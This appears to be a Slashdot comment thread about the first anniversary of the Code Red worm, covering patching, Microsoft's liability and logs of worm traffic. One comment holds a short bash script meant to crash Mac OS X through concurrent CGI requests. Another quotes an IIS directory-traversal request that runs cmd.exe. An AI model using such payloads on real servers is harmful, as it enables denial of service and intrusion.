      1q2w3e4r5t6y7u8i9o0pqawsedrftgthyjukilo;p'azsxdcfv gbhnjmk,l.;/
    6. Re:Argh by Myuu · · Score: 1

      HAHA...I was lucky, I was a dial tech until a month after code red, by that time the problem was somewhat rare.

      What center?

      --

      forget it.
    7. Re:Argh by loraksus · · Score: 1

      Beaverton, Oregon.
      waits
      for the
      lameness
      filter
      etc...

      --
      1q2w3e4r5t6y7u8i9o0pqawsedrftgthyjukilo;p'azsxdcfv gbhnjmk,l.;/
  37. Re:No mac web os9 or older servers EVER exploited by Anonymous Coward · · Score: 0

    No one has ever hacked my super l33t webserver that runs on my Commodore 64!
    Therefore, my webserver is superior than all others.

  38. A year later, no service pack 3 for Win2K by Animats · · Score: 2, Insightful
    The most recent service pack for Windows 2000 is dated May 2, 2001. There's a Security Rollup Package dated January 30, 2002. Nothing since then, despite the "month of effort" Microsoft supposedly put into fixes earlier this year. Whatever happened to that, anyway?

    Corporate America mostly runs Windows 2000. That's the system that needs security and reliability most. And where's Microsoft?

    1. Re:A year later, no service pack 3 for Win2K by Qnal · · Score: 1
    2. Re:A year later, no service pack 3 for Win2K by CrazyDuke · · Score: 1
      The most recent service pack for Windows 2000 [microsoft.com] is dated May 2, 2001. There's a Security Rollup Package [microsoft.com] dated January 30, 2002. Nothing since then, despite the "month of effort" Microsoft supposedly put into fixes earlier this year. Whatever happened to that, anyway?

      Corporate America mostly runs Windows 2000. That's the system that needs security and reliability most. And where's Microsoft?

      Killing off Win2k, trying to force businesses and users to buy WinXP Pro/Server to replace all the 2k licences they just got.

      ...plus the "we own your machine, business, you, and your immortal soul" EULA update could come in handy, too.

      --
      Any sufficiently advanced influence is indistinguishable from control.
    3. Re:A year later, no service pack 3 for Win2K by Anonymous Coward · · Score: 0

      SP3 will be shipped right about the same time as .NET server. Not only will it have security fixes, but it will have interoperability fixes so that W2k will work with all of the new features in .NET server.

    4. Re:A year later, no service pack 3 for Win2K by GroovBird · · Score: 2

      Uhm,

      I think you better check your Windows Update. I think you'll have 20 or so security fixes to install.

      Better luck bashing next time!

      Dave

    5. Re:A year later, no service pack 3 for Win2K by CrazyDuke · · Score: 1

      ...I asked around (notably a MS beta tester) and windows XP server is actually win2k server with all the patches. :/ So...WE'RE BOTH WRONG, HAH!

      --
      Any sufficiently advanced influence is indistinguishable from control.
    6. Re:A year later, no service pack 3 for Win2K by CrazyDuke · · Score: 1
      "Sorry, we were unable to service your request. As an option, you may visit any of the pages below for information about Microsoft services and products."

      *cough*

      --
      Any sufficiently advanced influence is indistinguishable from control.
  39. The Simpsons said it best by Anonymous Coward · · Score: 0

    Every time I read about something like this I imagine Nelson Muntz sneering, in his inimitable voice, "HAH ha!"

  40. the govt by Anonymous Coward · · Score: 0

    I guess the Government is going to fix what lazy naive sysadmins won't?

  41. Click Here? by Myriad · · Score: 5, Funny
    Click here [missingleftsocks.com]

    That's the first time I've seen someone getting smashed by the /. effect, and coming back asking for more!

    --
    "They do not preach that their god will rouse them, a little before the Nuts work loose." Kipling, 'The Sons of Martha'
  42. IDS packages are for "Security Experts" by Anonymous Coward · · Score: 0

    [sarcasm]
    Thank god we have IDS packages like ISS in place to keep systems safe.
    [/sarcasm]

  43. apache attacklog analyser? by YellowSubRoutine · · Score: 2, Interesting

    Is there a apache log analyser that shows nifty graphs of all the different kinds of attacks somewhere out there?

    That'd be cool :)

    1. Re:apache attacklog analyser? by JediTrainer · · Score: 2

      I've developed WormScan, a Java-based program which does exactly this. Have a look at the
      Freshmeat listing. If you're interested, you could follow the link to my home server's graphs (be nice - it's not a terribly fast link!)

      --

      You can accomplish anything you set your mind to. The impossible just takes a little longer.
    2. Re:apache attacklog analyser? by dcocos · · Score: 1

      Since almost all of the code red attack go to IP addresses rather than hostnames I setup a vitrual host with my IP address and then post the webalizer graphs showing codered hists. You can view it at
      http://www.spankyourface.com/codered/

  44. go to the source for the image? by cetan · · Score: 2

    It says right on the image, caiga.org so
    http://www.jump.org.uk/caida_code_red_animations/n ewframes-small-log.gif
    go there...

    Of course, that is a 4.1 MB GIF file.

    --
    In Soviet Russia...michael would be rotting in Siberia!
  45. Nice move... by BJH · · Score: 1

    Most people on /. probably wouldn't be affected, but it might have been a good idea to note that accessing that URL could actually INFECT your PC.

  46. Re:No mac web os9 or older servers EVER exploited by ryanr · · Score: 2
  47. Re:Is this Necessary? by Anonymous Coward · · Score: 0

    The worst terrorist attack in recorded history occurred back in September, followed by a Holy War against Islam, then India and Pakistan went to the brink of nuclear annilation, and now Israel and the Palestinians are teetering on the brink of their own war, and you people have the gall to be discussing the anniversary of the Code Red virus???? My *god*, people, GET SOME PRIORITIES!

    The bodies of the thousands of innocent civilians who died (and will die) in these unprecedented events could give a good god damn about IIS virii, your childish Lego models, your nerf toy guns and whining about the lack of a "fun" workplace, your Everquest/Diablo/D&D fixation, the latest Cowboy Bebop rerun, or any of the other ways you are "getting on with your life" (here's a hint: watching Cowboy Bebop in your jammies and eating a bowl of Shreddies is *not* "getting on with your life"). The souls of the victims are watching in horror as you people squander your finite, precious time on this earth playing video games!

    You people disgust me!

  48. the missing graphic by 0vi_king · · Score: 1

    I do remember the crazy traffic generated by the problem. But that is a Weird graphic.

    However, I am glad that it is a gif instead of a jpeg,because otherwise it might have contained a virus

    --
    - Life is what keeps you occupied while you are waiting to die
    1. Re:the missing graphic by Anonymous Coward · · Score: 0

      you moron that was a lab test and it was infected with another virus first and duh something with a virus can easily be infected again it was FUD courtesy of the idiots at mcafee who profit from it

  49. I'm sending this to local newspapers. by Mustang+Matt · · Score: 2

    They will have a field day with it!

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
    1. Re:I'm sending this to local newspapers. by DMDx86 · · Score: 1

      So.. what part of Houston do you live in?
      The Chronicle is the only local paper (unless you count the Houston Press, and the other free knockoffs)

  50. Re:All of this kvetching about bad sysadmins, and by I_redwolf · · Score: 1, Flamebait

    No, not with my tax dollars. Microsoft fucks up, microsoft pays; not me or the "public". If it's about public interest then hold microsoft responsible and let them make the fix or make them hire a 3rd party to do so. However using my tax dollars to fix an inept companies fuckup is not whats gonna happen.

  51. What pisses me off by Com2Kid · · Score: 4, Informative

    What pisses me off is that when an early exploit was detected awhile back (err, many years), somebody released worm to go around and fix it but THEY where the ones who got in trouble with the FBI, thus setting a precident in the future saying that the computer community was not allowed to take all neccisary steps to fix problems that may pop up.

    Kind of killed off community effort right there. >;(

    1. Re:What pisses me off by jeffy124 · · Score: 3, Interesting

      that's definitely interesting. Makes me wonder -- there was that Code Red Vigilante program written up. It was basically a Java program (speed issues aside, it was for maximum cross-platformness) that listens on port 80 for Code Red exploit attempts, then fires back at that machine, using the same default.ida exploit, causing a window to pop-up on the infected machine with information about what's wrong, what to do about it, where to go for more information, etc.

      The author made the program available on his website, so that anyone not running a webserver could run CRV themselves. I know the author also got a lot of thank you emails from infected users who thought they weren't vulnerable because of misinformation that was going around about the worm.

      As to your FBI story, I think the problem there was that the worm-patching-another-worm was making changes to the system without permission of the admin. But it makes me wonder how the FBI may have reacted to the CRV program. Given that the FBI has better educated themselves on computer hacking issues (especially since the witchhunts following the AT&T outage in the early 1990s), my guess is that they saw it as no biggie because it made no permanent changes to the infected machine.

      --
      The One Rule Of Chess You'll Ever Need: Don't play someone who carries a kit in their bookbag.
  52. Post the URLs by Mustang+Matt · · Score: 5, Funny

    Someone will let them know... hehehe.

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
  53. Ok answer me this? by Anonymous Coward · · Score: 0

    Who links to a 4 meg animated gif in a ./ article?
    Oh thats right

    TIMMY!

    Funny, I knew it was him without even looking.

  54. Code Red antidote (stop the infected systems) by Anonymous Coward · · Score: 0

    Why not write a program that watches for incoming Code Red/Nimda probes, turns around and roots the offending box, and takes it down leaving a message for the Sys Admin to straighten up his act?

    Presumably the original hole could be used to root the box, but any of the umpteen security holes that followed could probably be used as well. Since they haven't patch for Code Red, they haven't patched for anything else either!

    Sigh... It might not be legal, but it would be funny.

  55. Come on now... by Anonymous Coward · · Score: 0

    I could stick a cardboard box in my living room and claim that it's never been cracked...

    Sure, no one has cracked a macintosh, but does a Mac really do anything anyway?

  56. Re:No mac web os9 or older servers EVER exploited by Anonymous Coward · · Score: 0

    Is that not interesting?

    Not really. The stability sucked. Who cares if there was never an exploit if it can't handle a reasonable load?

    Ask youself why Apple never used OS 8 or 9 for their website. Because it sucked that's why! Before OS X they used AIX.

  57. I don't. by Mustang+Matt · · Score: 2

    I'm actually in Missouri.

    I sent it to TV instead: click2houston.com
    I bcc'd you on the email.

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
    1. Re:I don't. by DMDx86 · · Score: 1

      I got your email. This is NOT the code red virus as you indicate in the e-mail. I really dont want FBISD trying to interrogate me and trying to get FBI, et al on my case either (all I did was INFORM them.. but they don't care).

      I don't think the news media gives a flip either.

  58. the kid the by Pope · · Score: 1

    Kid, it's spelled "the."
    Learn how to use it. /end spelling nazi comment

    --
    It doesn't mean much now, it's built for the future.
    1. Re:the kid the by Weffs11 · · Score: 1

      The sad thing is, I actually write that on real paper. :-/

      Too much time in #FIRSTrobotics will rot your spelling.

    2. Re:the kid the by Pope · · Score: 1

      I hear ya, man, I hear ya.

      --
      It doesn't mean much now, it's built for the future.
  59. Good SysAdmin got to sleep by ToasterTester · · Score: 1

    Good SysAdmin got to sleep a year ago because they were up on their IIS patches. Bad SysAdmins aren't exclusive to Windows, they work on all platforms regretfully.

  60. blah by Anonymous Coward · · Score: 0

    We're having a party on Friday September the 13th brought to you by the Bassline Terrorists featuring the 4 Horsemen of the Apocalypse. The flyer is two bassbins burning... not to disrespect the people who died in a pretty bad incident, but for christs sake... move on.

    down here in my little corner of the .au we are SO FUCKING SICK of hearing about this shit. Get over it - you can't move on if you dwell in the past.

  61. Re:All of this kvetching about bad sysadmins, and by NeuroManson · · Score: 3, Insightful

    Does that mean, therefore, that anyone running Linux without the fix for the 1i0n (or however that's spelled) exploit, can sue Linus Torvald, Redhat, et al for damages? How about anyone running a Micro$oft OS that has an exploit taken advantage of with a worm, virus, etc, that was created on a Linux system with the sole purpose of damaging as many M$ OSs as possible?

    If you get shot by someone and suffer horrendous injuries, do you sue every bullet proof vest manufacturer, or gun manufacturer because they didn't base their business model around you? Or do you sue (or at least lock up) the one who pointed the gun at you and pull the trigger? Do you go around your neighborhood, testing each doorknob to see if the house is locked, then rob and burn down each house that isn't? Is it the homeowner's fault for not locking the door, or you for entering in the first place?

    If you want to hold anyone responsible, try the guy/s who code viruses and worms... Anyone with sufficient pathological incentive to wreak havoc and trash a computer system (or, basically, anything else) will do so...

    Responsibility goes two ways, on one hand, those who have known for a substantial period of time that there was a problem that needed addressing, and those who take advantage of that problem... The net makes this all more obvious, at least to those of us with a smidgen of common sense...

    --
    Just because you can mod me down, doesn't mean you're right. Shoes for industry!
  62. Re:Porn: 3 way by Anonymous Coward · · Score: 0

    So, is it Sue, or Darlene? Moron.

  63. Re:All of this kvetching about bad sysadmins, and by I_redwolf · · Score: 2

    You are talking apples and oranges. My gov't will not distribute cd's with a fix for Microsoft software. If it's in public interest my gov't will tell Microsoft it must distribute cd's with a fix for Microsoft software. Thats the way it will work, everything else you seapk of isn't relevant to this argument at all.

  64. To Celebrate the party... by xactoguy · · Score: 1

    ...why don't we realease a Code Blue? It can be a benevolent worn ( an oxymoron, I know ) which goes around to all the nice little *nix and BSD boxes all over the world, enter their systems, fix every known security exploit, then delete itself. No wouldn't that be a wonderful idea? ( *lay on the thick sarcaasm* =] )

    --


    And so we go, on with our lives
    We know the truth, but prefer lies
    Lies are simple, simple is bliss
    1. Re:To Celebrate the party... by foniksonik · · Score: 2

      It would be much better if it went around to all the Windows servers out there and did the same. Add in all the outlook clients and exchange servers and you've truly worked a miracle.

      --
      A fool throws a stone into a well and a thousand sages can not remove it.
    2. Re:To Celebrate the party... by Anonymous Coward · · Score: 0

      If would be called Blue Shock, The 7-11 exclusive Rasberry Mountain Dew.

  65. Happy to Bash MS, or annoyed at full logs?!?! by Anonymous Coward · · Score: 0

    Is this a precedent? Will we always mark the anniversary of *all* worms/viruses, or only those that affect Microsoft products? Or will we mark those exploits that affect lamer sysadmins that don't know enough to patch their own servers? How about all those Apache admins haven't upped to 1.3.26 and 2.0.39 yet?

    Yeah, wait, don't rush to mod me yet.... I know... the Apache exploits don't fill your precious logs with bogus requests....

    Is this the requirement for a worm to be /.-ed?

    -MW

  66. Re:No mac web os9 or older servers EVER exploited by Anonymous Coward · · Score: 0

    Yeah, but who the fuck wants to write a worm to exploit .5% of webservers?

    Please.... get overyourself... the kiddes shoot for the bellcurve, not an outdated and inadequate OS.

  67. Ya think? by NFW · · Score: 4, Interesting
    I got curious about the default.ida hits I was getting my web server one day, so I took a look at the systems at a bunch of the IP address the attacks were coming from. I found mostly unix systems, a couple I couldn't ID (not that I tried much beyond telnetting to ports 25 and 80), and only a couple of Microsoft systems.

    This was not an exhaustive search, nor a statistically significant sample group, and dynamic IP allocation muddled the results a bit, but it was enough to make me wonder. How many of the 'code red attacks' these days are really script kitties with unix boxes? My guess is they account for most of them.

    Has anyone looked into this for more than the 15-20 minutes I put into it?

    --
    Build stuff. Stuff that walks, stuff that rolls, whatever.
    1. Re:Ya think? by Anonymous Coward · · Score: 0

      Have you thought about the fact that a lot of people use a *nix box as a firewall/dialup/router machine? So the request for the default.ida can still come from infected machines behind the router box...

    2. Re:Ya think? by SpaceJunkie · · Score: 1

      Offtopic - but with regards to your sig - go check out darwin2k.

      Its a little interesting that you are getting them fro, Linux boxes- maybe you are right - some guys deliberately hacking.. Or maybe you are just picking up NAT based IP's which wont ID as windows either - and may even be unix based NAT servers.

      --
      OrionRobots.co.uk - Robots From sol
    3. Re:Ya think? by drsoran · · Score: 1

      Well the one thing that the original Code Red attacks did was provide a layer of stealth. In all those thousands of hits a day for default.ida you get on your machine from automated systems, there are at least a handful that are malicious hackers looking for exploitable boxes. I would think most people have long ago started ignoring this particular exploit in their IDS logs as well which makes it doubly dangerous in that someone could introduce a vanilla Win2k IIS box to your network and have it owned in minutes without you paying much attention. Just another Code Red/Nimda attack.. no big deal, all our servers are patched right? ;-) I've seen this happen a few times and the admins get the fun job of wiping and reloading the system from scratch and reloading backup data. haha.

    4. Re:Ya think? by ninjaz · · Score: 3, Informative

      I just looked into the 22 code red hits one of my hosts has gotten from midnight to 9am today.

      The results are:

      5 down
      14 reported as a Windows variant by nmap
      2 unknown
      1 Linux

      I looked into the 2 unknown results a bit more. Both respond on port 80 with an IIS banner and ASPSESSIONID cookies. One of them has a Serv-U banner for ftp as well.

      Interestingly, one of them (the one w/o Serv-U) is a .gov.cn site.

      The Linux result answers on port 443 as a vulnerable version of Apache on someone's firewall in Italy. This is likely being used as a launchpad for attacks.

      So, from what I gather, the bulk of the ongoing Code Red attacks are from Windows machines with extremely negligent administrators.

    5. Re:Ya think? by NFW · · Score: 2
      Darwin2k is cool, thanks for the pointer. I've tinkering with some GA stuff lately, but with the weather being so nice these days I'm not getting things done at the rate I was during the winter... I'm hoping to get GA-based motion control working in the next couple months, but only time will tell.

      Anyhow, back to the topic at hand....

      NAT could definitely muddle the results a bit, but I doubt it would make a huge difference. For a CR-infected box behind a NAT box, one of two things is probably true: either the NAT box forwards incoming port 80 connections to the IIS box (in which case you get "Server: Microsoft-IIS/X.X" in the http response headers), or the NAT box handles port 80 itself.

      IIS boxes doing intranet duty behind a NAT firewall that runs Apache could appear as Apache boxes to the outside world, but those IIS boxes are only going to get CRed if attacked by another CR-infected box behind that firewall. I'm sure that probably happens now and then, but I doubt that particular scenario accounts for any significant percentage of the CR attacks we're all logging.

      Then again, maybe it's foolish to assume that mostly running IIS as an intranet server behind a NAT box that runs Apache, has also taken steps to prevent the rest of their IIS boxes from getting CRed. But still, even just running IIS behind a NAT box that runs Apache seems like relatively unusual scenario. What percentage of companies out there are smart enough to relegate IIS to intranet duty while running Apache on their public web server? :-)

      --
      Build stuff. Stuff that walks, stuff that rolls, whatever.
    6. Re:Ya think? by Anonymous Coward · · Score: 0

      I think this could be windows boxes behind a
      proxy server (or NAT router) running UNIX...

  68. 76 Code Red hits in 2 months by rossz · · Score: 2, Insightful

    I guess I should consider myself lucky.

    Total/Unique
    Nimda hits: 6213/134
    CodeRed hits: 76/76

    Damn annoying, though.

    --
    -- Will program for bandwidth
    1. Re:76 Code Red hits in 2 months by JediTrainer · · Score: 3, Interesting

      My home server, running WormScan:

      Nimda - 319242 attacks
      CodeRed 2 - 15488 attacks
      CodeRed - 359 attacks

      All from 5777 unique hosts.

      --

      You can accomplish anything you set your mind to. The impossible just takes a little longer.
  69. Re:No mac web os9 or older servers EVER exploited by Anonymous Coward · · Score: 0
    exploited
    shouldn't that say "existed"
  70. Lamer Exterminator by xixax · · Score: 2

    Well it's really like the Lamer Exterminator, if you got it, directly or indirectly, you probably deserved it... :o)

    Xix.

    --
    "Everything is adjustable, provided you have the right tools"
  71. Something strangely morbid about this birthday by guttentag · · Score: 2
    Hey, photographer! You wanna take a good picture? Here man, take this.

    This... is my bro.

    CRAZY EARL the sysadmin lifts a dustcover to reveal a toasted server

    This is his party. He's the guest of honor. Today... is his birthday.

    Email Mother calls out from down the hall: "Happy Birthday, Code Red."

    I will never forget this day. The day I came to IIS city and fought one million Code Red worms. I love the little Commie bastards, I really do. These enemy worms are as persistent as thick-headed CIOs.

    These are great days we're living, bros! We are jolly caffeinated giants walking the earth, with Bawlz. These worms we wasted here today, contain the finest code we will ever see. After we start working with real servers again we're gonna miss not having any worms around worth killing!

    (obligatory reference for those who've never seen Full Metal Jacket)

  72. 42 by kasperd · · Score: 2, Funny

    my web log shows an average of forty-two requests per day

    That is indeed interesting, a short time ago when discussing Windows security in a danish newsgroup, I counted the entries in my log. I also had an average of forty-two requests per day.

    This couldn't be a coincidence, could it?

    --

    Do you care about the security of your wireless mouse?
    1. Re:42 by MartinB · · Score: 2

      Well of course, 42 is the Answer.

      The question, alas, is more complex. And will need Slartibardfast's fjord designing skills. Or Arthur's brain.

      --

      The only thing you can accurately describe as "Scotch" is a sticky tape made by 3M. And it's

  73. Here's some help by Bastian · · Score: 2

    Try putting these handy tags around the deadline, and all will be revealed.

    <sarcasm> </sarcasm>

    Does that help?

  74. They are user's fault by Bastian · · Score: 2

    The user chooses the software =)

    Viva Unix! =)

  75. Evil plan (please don't implement) by tlambert · · Score: 5, Funny

    We jokingly discussed an Evil Plan where I worked when CodeRed first came out.

    One thing we discussed doing was getting a copy, disassembling it, and building a version that would install FreeBSD with Apache with Front Page Extensions and the Active Server Pages module over top of the Windows installation, with all of the web site content left more or less intact.

    We figured that it would be pretty cool if we could make it so that people would not notice that their server had been "competitively upgraded" until the next scheduled reboot/update.

    We thought that it would be even more likely to go a long time if we captured the console screen of the running server, and used it as the boot "splash screen" for the replacement OS...

    Of course, as I said, doing this would be Evil, so we only discussed the possibility.

    -- Terry

  76. Other Windows Requests by alecbrown · · Score: 1

    I also get this one on my Apache/Linux server more than Code Red requests:

    "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+ dir" 404

  77. Re:All of this kvetching about bad sysadmins, and by Kenneth · · Score: 2

    If you get shot by someone and suffer horrendous injuries, do you sue every bullet proof vest manufacturer, or gun manufacturer because they didn't base their business model around you?

    Believe it or not, a lot of people are trying just that, and frightenly having a fair amount of success.

    The problem in the case of Code Red, and the worm of the week wreaking havoc with Microsoft products, is one of false representation, and perhaps outright fraud.

    People keep getting told from Microsoft "Our servers are stable and secure, you don't need to don't need to worry." Then something happens, and Microsoft does nothing until someone has demonstrated in an amazingly public way that their stuff in indeed vunerable.

    Once that happens they issue a fix. The fix usually seems to be some method of messing up the specific method used, so minor changes to the worm make it work again.

    The Open Source world on the other hand is very quick to fix any bugs they know about and can that can be fixed. More than once some of the security groups were frustrated when Red Hat or some other Linux distro maker, after being informed of a problem, releasing not only the details but a fix long before they were ready.

    Microsoft has actively tried to keep anyone from finding out through any legal means about any security problems with their products. The Linux community works hard to find and fix problems.

    Microsoft products are a little like the Ford Pinto of the software world. The Pinto would blow up rather spectacularly if rear ended. Ford was sued and had to fix the problem.

    Had Ford voulantarily recalled the Pinto earlier (and the evidence suggested that they knew of the problem before the first Pinto was ever sold), there would have been no casue to sue them. However they tried to cover up the problem, and repeatedly denied the existence of any problem.

    Microsoft knows there are vast security holes in their products. They prefer to put them out and hope no one notices. When someone does notice, they deny there is a problem, and have pushed to get anyone who tries to find such problems arrested. They are, in effect, enganged in a cover up. This is what opens them up to being sued. There is rarely a good faith effort to fix any security hole before it becomes a problem.

    Contrast that with the Linux world. There are occasionaly penetrations, but there is always an effort to find and fix such problems long before such things happen.

    The other problem was that IIS and WPS are often installed and running without the person even knowing it. In fairness, most linux distros seem to install and set up Apache without permission too, but at least Apache has been pretty much immune to worms for the last few years. Should you hold everyone who installed win2k on a networked machine responsible because they failed to install security patches on a server they didn't even know they were running?

    Microsoft acts very irresponsibly with their software, and there should be some accountability. I wouldn't sue them just over Code Red, but take the worm of the week hitting IIS, and the worm of the week hitting Outhouse, and Microsoft's complete indifference to fixing either, and we get a pattern of indifference which is prosecutable.

    --
    There is a civil war coming in the United States. Remember which side has most of the guns
  78. Re:Linux virus by Anonymous Coward · · Score: 0

    Don't worry, I'm sure there must be guys at Microsoft working round the clock on Linux worms and virii...

  79. It's not code red? by Mustang+Matt · · Score: 2

    Are you sure?

    Which virus do they have?

    I wouldn't worry about the FBI, etc.
    It's not like it's a unique infection that no one has ever seen before.

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
  80. How did the Cherry Mountain Dew get its name? by twaltari · · Score: 1

    For people outside USA: Mountain Dew is Pepsi's wildly popular (especially among programmers) pop brand. The new cherry flavor is called Code Red. Does anyone really know whether the pop got its name from the worm?

    http://www.mountaindew.com/code_red/code_red_faq .h tml:
    > Why did Mountain Dew choose the name Code Red?
    > Our consumers named Code Red. Consumers thought
    > Code Red best captured the spirit of the new
    > brand.

    1. Re:How did the Cherry Mountain Dew get its name? by Alex_Ionescu · · Score: 2, Informative

      Actually, the worm got its virus from the drink.
      Late at night, the programmers were drinking away their cans, when they identified the virus. They called it Code Red.

    2. Re:How did the Cherry Mountain Dew get its name? by SpaceJunkie · · Score: 1

      I think they tried to market mountain dew in the Uk for a very short time... I cant remember even trying it though...

      Just a very silly tv spot campaign with a warbling country singer.

      --
      OrionRobots.co.uk - Robots From sol
    3. Re:How did the Cherry Mountain Dew get its name? by damiam · · Score: 1

      I remember drinking Mountain Dew Code Red several months before the virus hit.

      --
      It's hard to be religious when certain people are never incinerated by bolts of lightning.
  81. Re:No mac web os9 or older servers EVER exploited by GC · · Score: 2

    shut up!!! That is a myth and you know it!


    #!/bin/bash
    #
    # CGI-McPanic: script to crash MacOS X with
    # concurrent calls to a CGI-Script
    #
    # before use, do:
    #
    # chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
    #
    # then call
    #
    # bash ./CGI-McPanic
    #

    NUMPROC=32
    i=0

    while [ $i -le $NUMPROC ]
    do
    i=$[$i + 1]
    ab -t 3600 http://localhost/cgi-bin/test-cgi &
    done

  82. MIRROR _ MIRROR by Anonymous Coward · · Score: 0

    ATTENTION: anyone have a copy of the slashdotted page? If so- email me the info and I will mirror it on a cluster of servers that can handle the /.'ed ness.

    gshively@pivx.com

  83. Haha by Cave+Dweller · · Score: 3, Funny

    I share a birthday with an IIS worm! Seriously!
    Do I get a cookie?

    1. Re:Haha by UCRowerG · · Score: 1

      Check your browser's cache. I'm sure you've already got plenty.

  84. Heat Death of the Internet by Anonymous Coward · · Score: 0

    So Code Red is now part of the background noise of the Internet along with all the spams, klez mails, and other generally viral nuisances.

    I wonder if this is the way it goes, kind of like low earth orbit aquiring space junk, or the universe gradually dying in entropy soup? We will just keep on accumulating noise due to things like this that never go away, until one day they are using nearly all the bandwidth of the Internet and the thing will be unusable. Just goes to show how bad monocultures are.

    Then again, that might be like the prediction about Lonodn dissapearing under horse manure sometime in the 1930's. :-)

    1. Re:Heat Death of the Internet by SmallFurryCreature · · Score: 1

      Yeah but that would have been a good thing.

      --

      MMO Quests are like orgasms:

      You may solo them, I prefer them in a group.

  85. Re:Evil plan (please don't implement) - Too late. by andhar · · Score: 1

    [Reboot server in safe mode...]

    "What in the Sam hell..."

    --
    Vaya con huevos, my darling.
  86. Re:No mac web os9 or older servers EVER exploited by Anonymous Coward · · Score: 0

    Exactly. Even OpenBSD (Arguably the most secure by default installation OS, ever.) doesn't make stupid claims like that.

    Plus, the only reason you never hear about Mac web servers being smacked around is.. Who the hell uses a Mac for a webserver? :P

  87. MOD PARENT UP YOU PC FAGGOTS! by Anonymous Coward · · Score: 0

    jeez, grow a cock

  88. Web site defacements on Linux rise by Corrado · · Score: 1

    According to this article in InfoWorld, Linux cracks are getting just as bad as IIS stuff.

    However, it doesn't mention any particular crack or even web server - it's pretty light on details really. Looks like FUD to me.

    --
    KangarooBox - We make IT simple!
  89. Most boxes affected weren't company systems by Otis_INF · · Score: 2

    ... but testboxes or homeusers with an IIS installation on their win2k pro or win2k server OS they used. This is noticable by the fact that most attacks were and are originating from cable-internet connected boxes.

    Most IIS admins who are responsible for webservers who run company websites did patch IIS long before the worm started or better: did like MS told them to do: disable all extensions not used on the box, like htr and ida. (Oh, and removed the examples)

    Ok, some company-used webservers were exploited, but this number is not a majority by far.

    --
    Never underestimate the relief of true separation of Religion and State.
  90. If a hotfix breaks an app, kick the developer. by Otis_INF · · Score: 4, Interesting

    Hotfixes don't kill webapps. I develop webapplications (the n-tier stuff, VC++/VB/ASP/IIS/SQLServer etc) for over 5 years now and have applied a zillion or so hotfixes on IIS and NT / Win2k server to keep the systems up to date, but never ever have I encountered 1 single hotfix which killed a webapplication nor did I hear from collegues that hotfixes killed their webapplications. If the webapp is written solidly, by the guidelines MS has supplied, you can apply any hotfix, period.

    When your developers are not that educated however, perhaps they use dirty tricks which will break when a hotfix is applied (allthough I doubt it, hotfixes mostly overwrite existing files without updating CLS_ID's etc, because these stay the same) and the app will die after the hotfix is applied: one reason to kick them out the door for some real professionals.

    --
    Never underestimate the relief of true separation of Religion and State.
    1. Re:If a hotfix breaks an app, kick the developer. by SClitheroe · · Score: 3, Insightful

      You are assuming that all web apps are written using MS technologies...how about ColdFusion, Lotus Domino, etc? We have quite a mix of stuff, as our environment has evolved over the years...and there have definitely been hotfixes that have broken Domino.

    2. Re:If a hotfix breaks an app, kick the developer. by Otis_INF · · Score: 2

      How can a hotfix break a tool? There is just 1 reason why: because the tool ASSUMES undocumented behaviour which is gone with the hotfix (f.e. it patches something and the behaviour isn't there anymore). No hotfix will replace COM ID's with new ones or change interfaces, they just update dlls with new versions. I don't see how a good application can be broken by patching an OS part with a version that has the same interface and behaves as documented.

      (and no, undocumented crap is not needed for developing software)

      --
      Never underestimate the relief of true separation of Religion and State.
    3. Re:If a hotfix breaks an app, kick the developer. by radish · · Score: 2

      Or, reason 2, the hotfix itself contains a new bug. You know it _is_ possible, microsoft (and every other software house ever) have been known to release buggy code. Read the disclaimers on the hotfix, it basically says "apply this if you have to, otherwise wait for the SP which will be fully regression tested". Note, the hotfix is NOT fully regression tested.

      --

      ---- Den ene knappen er powerknapp, den andre er Bender voice knapp "Bite My Shiny Metal Ass"

    4. Re:If a hotfix breaks an app, kick the developer. by SClitheroe · · Score: 2

      Whatever...ask any Domino developer what happened when SP6 for NT4 was released..that's one of the major reasons we now have SP6a

    5. Re:If a hotfix breaks an app, kick the developer. by mborland · · Score: 2
      Hotfixes by nature are not fully regression tested. This means that there is a possibility for errors even if you follow guidelines.

      I agree, I have not had problems with the hotfixes...but several hotfixes have been re-released because of incompatibilities, etc.

      When your developers are not that educated however, perhaps they use dirty tricks which will break when a hotfix is applied

      Puh-lease! I agree that developers are prone to assuming bad things...but you just wait, eventually you, too, will be bitten by a bad hotfix, no matter how smart you are.

    6. Re:If a hotfix breaks an app, kick the developer. by Herkum01 · · Score: 1

      I remember there was a hotfix out of Citrix Server 1.7, and one hotfix did stop the only application that was running on that server. I work at company were would did not understand where everything fit together would suddenly do an update, or reboot a server, or apply a a quick fix and screw up a major application that was being used in that server. It is one thing when you run a small network of file & print servers, it is another when you are worried about an application server that requests database from another SQL server that downloads its database from a mainframe a particular time.

    7. Re:If a hotfix breaks an app, kick the developer. by e_n_d_o · · Score: 2

      but never ever have I encountered 1 single hotfix which killed a webapplication nor did I hear from collegues that hotfixes killed their webapplications.

      Does this count?...

      Microsoft broke their JDBC-ODBC bridge in a fix for IE. I don't know if this qualifiies in your eyes as a hotfix or not, as it was a minor (though, as usual, highly recommended) IE update. Applying the update resulted in our J++ based web application killing the IIS process (The JVM ran in-line with IIS). The problem was that the JDBC-ODBC bridge would cause the VM to crash (I'm pretty sure it was a native-code JDBC driver) when retrieving (or possibly it was setting...don't remember) "text" columns in a SQL table with more than 2k of data.

      I wrote a simple test case that caused the failure (about 20 lines of code) and called MS tech support. After making my way through their support ranks I finally found someone clue-enabled enough to be able to run my test-case, see the failure, and realize it was a bug in their product. This took a week. Then I got this email back from the support guy:

      "I'm closing this case "non-decrement" now. I'll try to pressure a
      resolution. I'll let you know when the fix arrives. Feel free to ping me in
      the mean time."

      The fix didn't arrive for six months. And this was back in the days before Sun and MS got in the big Java brawl.

  91. Mirror by Kjellander · · Score: 2, Informative
  92. Slashdot and Birthdays by bamm · · Score: 1

    Were do people get these dates from? At least do a little research. The first reference to CodeRed I could find was a post to the Incidents list at SecuirtyFocus.com on July 15th. The acutual data was captured a couple of days prior to the post if my memory serves me correctly (the poster is a good friend of mine and a coworker at the time).

    --
    www.sguil.net
    The Analyst Console for NSM
